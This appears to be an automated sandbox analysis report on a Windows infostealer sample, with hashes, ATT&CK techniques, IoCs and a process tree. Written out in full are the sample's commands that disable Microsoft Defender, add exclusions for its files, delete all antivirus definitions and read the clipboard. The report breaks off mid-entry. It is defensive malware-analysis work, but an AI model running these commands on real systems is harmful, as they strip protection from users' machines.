0f70b1e3500b76552d726b4e219f8e36a82ad97fbb954dda6be9572650c2321f

Analysis

max time kernel
149s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 03:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 10.7MB
Sample260819-eby29adj71
SHA256 0f70b1e3500b76552d726b4e219f8e36a82ad97fbb954dda6be9572650c2321f
MD5 f70ab06d0c97f53c9dab2fe7a2300ba9
SHA1 d28b9f3462271d9e75601deb71efe007ac11a26c
SHA512 455eede32294d4f66d08e64b2d1a1db4b6f546a263592ababbc052b2b16805c1ff05c7896fd765e1e56115f016bdfd10ce194cd4373b1b6060cb2a750ccd8168
SSDEEP 196608:ds67YDmIa48OuHsAQVJXCcyqTHQm1sk60DgW3Aa59vonr36PT1KMt7oZSx:OrDmR+nDwma7va59vUr3Svx
TLSH
T15AB6336872C651F6E5E2423E4E43D56AF6F13422A7A1D2CF037463573F2B2A8993D324
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
1512	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5928	powershell.exe
5956	powershell.exe
5996	powershell.exe
1284	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5996	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5492	cmd.exe
1436	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4260	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
9	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5748	tasklist.exe
1048	tasklist.exe
4568	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c569-27.dat	upx
behavioral2/memory/4624-31-0x00007FF95CEB0000-0x00007FF95D5BF000-memory.dmp	upx
behavioral2/files/0x000c00000001c556-33.dat	upx
behavioral2/memory/4624-38-0x00007FF9741D0000-0x00007FF9741DF000-memory.dmp	upx
behavioral2/files/0x000c00000001c565-37.dat	upx
behavioral2/memory/4624-36-0x00007FF96F630000-0x00007FF96F659000-memory.dmp	upx
behavioral2/files/0x000c00000001c555-39.dat	upx
behavioral2/files/0x000c00000001c561-44.dat	upx
behavioral2/memory/4624-47-0x00007FF96F560000-0x00007FF96F5E0000-memory.dmp	upx
behavioral2/memory/4624-50-0x00007FF970FD0000-0x00007FF970FDD000-memory.dmp	upx
behavioral2/files/0x000c00000001c560-51.dat	upx
behavioral2/memory/4624-54-0x00007FF970050000-0x00007FF97005F000-memory.dmp	upx
behavioral2/memory/4624-58-0x00007FF96F530000-0x00007FF96F544000-memory.dmp	upx
behavioral2/files/0x000c00000001c564-59.dat	upx
behavioral2/files/0x000c00000001c558-57.dat	upx
behavioral2/memory/4624-61-0x00007FF95C870000-0x00007FF95CEA1000-memory.dmp	upx
behavioral2/files/0x000c00000001c55b-49.dat	upx
behavioral2/files/0x000c00000001c566-66.dat	upx
behavioral2/memory/4624-68-0x00007FF95CEB0000-0x00007FF95D5BF000-memory.dmp	upx
behavioral2/memory/4624-71-0x00007FF968890000-0x00007FF9688C5000-memory.dmp	upx
behavioral2/memory/4624-70-0x00007FF968160000-0x00007FF9682B3000-memory.dmp	upx
behavioral2/memory/4624-72-0x00007FF96F630000-0x00007FF96F659000-memory.dmp	upx
behavioral2/memory/4624-69-0x00007FF96F510000-0x00007FF96F52A000-memory.dmp	upx
behavioral2/files/0x000c00000001c55f-65.dat	upx
behavioral2/files/0x000c00000001c55c-63.dat	upx
behavioral2/memory/4624-45-0x00007FF96F5E0000-0x00007FF96F60C000-memory.dmp	upx
behavioral2/files/0x000c00000001c559-43.dat	upx
behavioral2/memory/4624-42-0x00007FF96F610000-0x00007FF96F62A000-memory.dmp	upx
behavioral2/files/0x000c00000001c573-81.dat	upx
behavioral2/memory/4624-84-0x00007FF9635F0000-0x00007FF96377A000-memory.dmp	upx
behavioral2/memory/4624-80-0x00007FF9741D0000-0x00007FF9741DF000-memory.dmp	upx
behavioral2/memory/4624-82-0x00007FF967A70000-0x00007FF967A96000-memory.dmp	upx
behavioral2/files/0x000c00000001c55e-79.dat	upx
behavioral2/files/0x000c00000001c56c-86.dat	upx
behavioral2/memory/4624-87-0x00007FF96F4F0000-0x00007FF96F4FD000-memory.dmp	upx
behavioral2/memory/4624-92-0x00007FF96F560000-0x00007FF96F5E0000-memory.dmp	upx
behavioral2/memory/4624-93-0x00007FF965A50000-0x00007FF965B0E000-memory.dmp	upx
behavioral2/files/0x000c00000001c574-91.dat	upx
behavioral2/memory/4624-110-0x00007FF970FD0000-0x00007FF970FDD000-memory.dmp	upx
behavioral2/memory/4624-117-0x00007FF970050000-0x00007FF97005F000-memory.dmp	upx
behavioral2/memory/4624-118-0x00007FF96F530000-0x00007FF96F544000-memory.dmp	upx
behavioral2/memory/4624-119-0x00007FF95C870000-0x00007FF95CEA1000-memory.dmp	upx
behavioral2/memory/4624-120-0x00007FF968160000-0x00007FF9682B3000-memory.dmp	upx
behavioral2/memory/4624-121-0x00007FF968890000-0x00007FF9688C5000-memory.dmp	upx
behavioral2/memory/4624-122-0x00007FF967A70000-0x00007FF967A96000-memory.dmp	upx
behavioral2/memory/4624-123-0x00007FF9635F0000-0x00007FF96377A000-memory.dmp	upx
behavioral2/memory/4624-125-0x00007FF96F630000-0x00007FF96F659000-memory.dmp	upx
behavioral2/memory/4624-140-0x00007FF965A50000-0x00007FF965B0E000-memory.dmp	upx
behavioral2/memory/4624-124-0x00007FF95CEB0000-0x00007FF95D5BF000-memory.dmp	upx
behavioral2/memory/4624-229-0x00007FF968890000-0x00007FF9688C5000-memory.dmp	upx
behavioral2/memory/4624-227-0x00007FF95C870000-0x00007FF95CEA1000-memory.dmp	upx
behavioral2/memory/4624-232-0x00007FF9635F0000-0x00007FF96377A000-memory.dmp	upx
behavioral2/memory/4624-230-0x00007FF968160000-0x00007FF9682B3000-memory.dmp	upx
behavioral2/memory/4624-218-0x00007FF95CEB0000-0x00007FF95D5BF000-memory.dmp	upx
behavioral2/memory/4624-252-0x00007FF95CEB0000-0x00007FF95D5BF000-memory.dmp	upx
behavioral2/memory/4624-269-0x00007FF95CEB0000-0x00007FF95D5BF000-memory.dmp	upx
behavioral2/memory/4624-304-0x00007FF96F630000-0x00007FF96F659000-memory.dmp	upx
behavioral2/memory/4624-311-0x00007FF96F530000-0x00007FF96F544000-memory.dmp	upx
behavioral2/memory/4624-314-0x00007FF968890000-0x00007FF9688C5000-memory.dmp	upx
behavioral2/memory/4624-313-0x00007FF96F510000-0x00007FF96F52A000-memory.dmp	upx
behavioral2/memory/4624-315-0x00007FF968160000-0x00007FF9682B3000-memory.dmp	upx
behavioral2/memory/4624-319-0x00007FF965A50000-0x00007FF965B0E000-memory.dmp	upx
behavioral2/memory/4624-317-0x00007FF9635F0000-0x00007FF96377A000-memory.dmp	upx
behavioral2/memory/4624-318-0x00007FF96F4F0000-0x00007FF96F4FD000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 22 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4688	cmd.exe
2756	cmd.exe
2132	cmd.exe
3696	cmd.exe
2324	cmd.exe
6116	cmd.exe
2916	cmd.exe
4240	cmd.exe
1228	cmd.exe
1372	cmd.exe
4476	cmd.exe
6060	cmd.exe
3444	cmd.exe
5264	cmd.exe
4604	cmd.exe
1528	cmd.exe
2680	cmd.exe
5900	cmd.exe
4144	cmd.exe
1952	cmd.exe
1336	cmd.exe
6140	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
420	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1396	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
5928	powershell.exe
5928	powershell.exe
5996	powershell.exe
5996	powershell.exe
5956	powershell.exe
5956	powershell.exe
5928	powershell.exe
5996	powershell.exe
5956	powershell.exe
5888	WMIC.exe
5888	WMIC.exe
5888	WMIC.exe
5888	WMIC.exe
1436	powershell.exe
1436	powershell.exe
1436	powershell.exe
2836	powershell.exe
2836	powershell.exe
2836	powershell.exe
1472	WMIC.exe
1472	WMIC.exe
1472	WMIC.exe
1472	WMIC.exe
2076	WMIC.exe
2076	WMIC.exe
2076	WMIC.exe
2076	WMIC.exe
1624	WMIC.exe
1624	WMIC.exe
1624	WMIC.exe
1624	WMIC.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
420	WMIC.exe
420	WMIC.exe
420	WMIC.exe
420	WMIC.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5928	powershell.exe
Token: SeDebugPrivilege	5996	powershell.exe
Token: SeDebugPrivilege	5956	powershell.exe
Token: SeIncreaseQuotaPrivilege	5928	powershell.exe
Token: SeSecurityPrivilege	5928	powershell.exe
Token: SeTakeOwnershipPrivilege	5928	powershell.exe
Token: SeLoadDriverPrivilege	5928	powershell.exe
Token: SeSystemProfilePrivilege	5928	powershell.exe
Token: SeSystemtimePrivilege	5928	powershell.exe
Token: SeProfSingleProcessPrivilege	5928	powershell.exe
Token: SeIncBasePriorityPrivilege	5928	powershell.exe
Token: SeCreatePagefilePrivilege	5928	powershell.exe
Token: SeBackupPrivilege	5928	powershell.exe
Token: SeRestorePrivilege	5928	powershell.exe
Token: SeShutdownPrivilege	5928	powershell.exe
Token: SeDebugPrivilege	5928	powershell.exe
Token: SeSystemEnvironmentPrivilege	5928	powershell.exe
Token: SeRemoteShutdownPrivilege	5928	powershell.exe
Token: SeUndockPrivilege	5928	powershell.exe
Token: SeManageVolumePrivilege	5928	powershell.exe
Token: 33	5928	powershell.exe
Token: 34	5928	powershell.exe
Token: 35	5928	powershell.exe
Token: 36	5928	powershell.exe
Token: SeIncreaseQuotaPrivilege	5996	powershell.exe
Token: SeSecurityPrivilege	5996	powershell.exe
Token: SeTakeOwnershipPrivilege	5996	powershell.exe
Token: SeLoadDriverPrivilege	5996	powershell.exe
Token: SeSystemProfilePrivilege	5996	powershell.exe
Token: SeSystemtimePrivilege	5996	powershell.exe
Token: SeProfSingleProcessPrivilege	5996	powershell.exe
Token: SeIncBasePriorityPrivilege	5996	powershell.exe
Token: SeCreatePagefilePrivilege	5996	powershell.exe
Token: SeBackupPrivilege	5996	powershell.exe
Token: SeRestorePrivilege	5996	powershell.exe
Token: SeShutdownPrivilege	5996	powershell.exe
Token: SeDebugPrivilege	5996	powershell.exe
Token: SeSystemEnvironmentPrivilege	5996	powershell.exe
Token: SeRemoteShutdownPrivilege	5996	powershell.exe
Token: SeUndockPrivilege	5996	powershell.exe
Token: SeManageVolumePrivilege	5996	powershell.exe
Token: 33	5996	powershell.exe
Token: 34	5996	powershell.exe
Token: 35	5996	powershell.exe
Token: 36	5996	powershell.exe
Token: SeIncreaseQuotaPrivilege	5956	powershell.exe
Token: SeSecurityPrivilege	5956	powershell.exe
Token: SeTakeOwnershipPrivilege	5956	powershell.exe
Token: SeLoadDriverPrivilege	5956	powershell.exe
Token: SeSystemProfilePrivilege	5956	powershell.exe
Token: SeSystemtimePrivilege	5956	powershell.exe
Token: SeProfSingleProcessPrivilege	5956	powershell.exe
Token: SeIncBasePriorityPrivilege	5956	powershell.exe
Token: SeCreatePagefilePrivilege	5956	powershell.exe
Token: SeBackupPrivilege	5956	powershell.exe
Token: SeRestorePrivilege	5956	powershell.exe
Token: SeShutdownPrivilege	5956	powershell.exe
Token: SeDebugPrivilege	5956	powershell.exe
Token: SeSystemEnvironmentPrivilege	5956	powershell.exe
Token: SeRemoteShutdownPrivilege	5956	powershell.exe
Token: SeUndockPrivilege	5956	powershell.exe
Token: SeManageVolumePrivilege	5956	powershell.exe
Token: 33	5956	powershell.exe
Token: 34	5956	powershell.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 5192 wrote to memory of 4624	5192	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	90
PID 4624 wrote to memory of 3444	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	92
PID 4624 wrote to memory of 6060	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	94
PID 4624 wrote to memory of 4688	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	96
PID 3444 wrote to memory of 5928	3444	cmd.exe	98
PID 6060 wrote to memory of 5996	6060	cmd.exe	99
PID 4688 wrote to memory of 5956	4688	cmd.exe	100
PID 6060 wrote to memory of 1512	6060	cmd.exe	102
PID 4624 wrote to memory of 2324	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	103
PID 4624 wrote to memory of 4144	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	104
PID 2324 wrote to memory of 5748	2324	cmd.exe	105
PID 4144 wrote to memory of 4568	4144	cmd.exe	106
PID 4624 wrote to memory of 6116	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	107
PID 4624 wrote to memory of 5492	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	108
PID 4624 wrote to memory of 2916	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	109
PID 4624 wrote to memory of 4240	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	110
PID 5492 wrote to memory of 1436	5492	cmd.exe	111
PID 6116 wrote to memory of 5888	6116	cmd.exe	112
PID 2916 wrote to memory of 1048	2916	cmd.exe	113
PID 4240 wrote to memory of 2728	4240	cmd.exe	114
PID 4624 wrote to memory of 2756	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	115
PID 4624 wrote to memory of 2132	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	116
PID 4624 wrote to memory of 5988	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	117
PID 2756 wrote to memory of 1396	2756	cmd.exe	118
PID 2132 wrote to memory of 3376	2132	cmd.exe	119
PID 5988 wrote to memory of 2836	5988	cmd.exe	120
PID 4624 wrote to memory of 1228	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	121
PID 2836 wrote to memory of 4692	2836	powershell.exe	122
PID 1228 wrote to memory of 5784	1228	cmd.exe	123
PID 4624 wrote to memory of 1952	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	124
PID 1952 wrote to memory of 752	1952	cmd.exe	125
PID 4692 wrote to memory of 1944	4692	csc.exe	126
PID 4624 wrote to memory of 1372	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	127
PID 1372 wrote to memory of 2360	1372	cmd.exe	128
PID 4624 wrote to memory of 3696	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	129
PID 3696 wrote to memory of 3012	3696	cmd.exe	130
PID 4624 wrote to memory of 4476	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	131
PID 4476 wrote to memory of 992	4476	cmd.exe	132
PID 4624 wrote to memory of 5264	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	133
PID 5264 wrote to memory of 4260	5264	cmd.exe	134
PID 4624 wrote to memory of 1336	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	135
PID 1336 wrote to memory of 1472	1336	cmd.exe	136
PID 4624 wrote to memory of 4604	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	137
PID 4604 wrote to memory of 2076	4604	cmd.exe	138
PID 4624 wrote to memory of 6140	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	139
PID 6140 wrote to memory of 1624	6140	cmd.exe	140
PID 4624 wrote to memory of 1528	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	141
PID 1528 wrote to memory of 1284	1528	cmd.exe	142
PID 4624 wrote to memory of 2680	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	143
PID 2680 wrote to memory of 420	2680	cmd.exe	144
PID 4624 wrote to memory of 5900	4624	2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	145
PID 5900 wrote to memory of 4108	5900	cmd.exe	146

C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5192
- C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-19_f70ab06d0c97f53c9dab2fe7a2300ba9_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5996
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:1512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2324
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:5748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4144
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:4568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6116
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:5492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:1436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2916
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:1048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4240
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2756
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2132
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3376
- - C:\Windows\system32\cmd.exe
